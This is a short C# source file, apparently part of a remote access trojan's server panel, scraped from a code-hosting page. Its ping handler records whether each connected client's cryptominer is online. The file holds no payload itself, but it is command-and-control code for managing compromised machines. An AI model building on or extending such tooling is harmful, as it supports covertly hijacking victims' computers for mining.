24 lines
730 B
C#
24 lines
730 B
C#
using Server.MessagePack;
|
|
using Server.Connection;
|
|
using System.Diagnostics;
|
|
using System.Windows.Forms;
|
|
|
|
namespace Server.Handle_Packet
|
|
{
|
|
public class HandlePing
|
|
{
|
|
public HandlePing(Clients client, MsgPack unpack_msgpack)
|
|
{
|
|
try
|
|
{
|
|
lock (Settings.LockListviewClients)
|
|
if (client.LV != null)
|
|
client.LV.SubItems[Program.form1.lv_prefor.Index].Text = unpack_msgpack.ForcePathObject("Message").AsString.Replace("MINER 0", "MINER Offline").Replace("MINER 1", "MINER Online");
|
|
else
|
|
Debug.WriteLine("Temp socket pinged server");
|
|
}
|
|
catch { }
|
|
}
|
|
}
|
|
}
|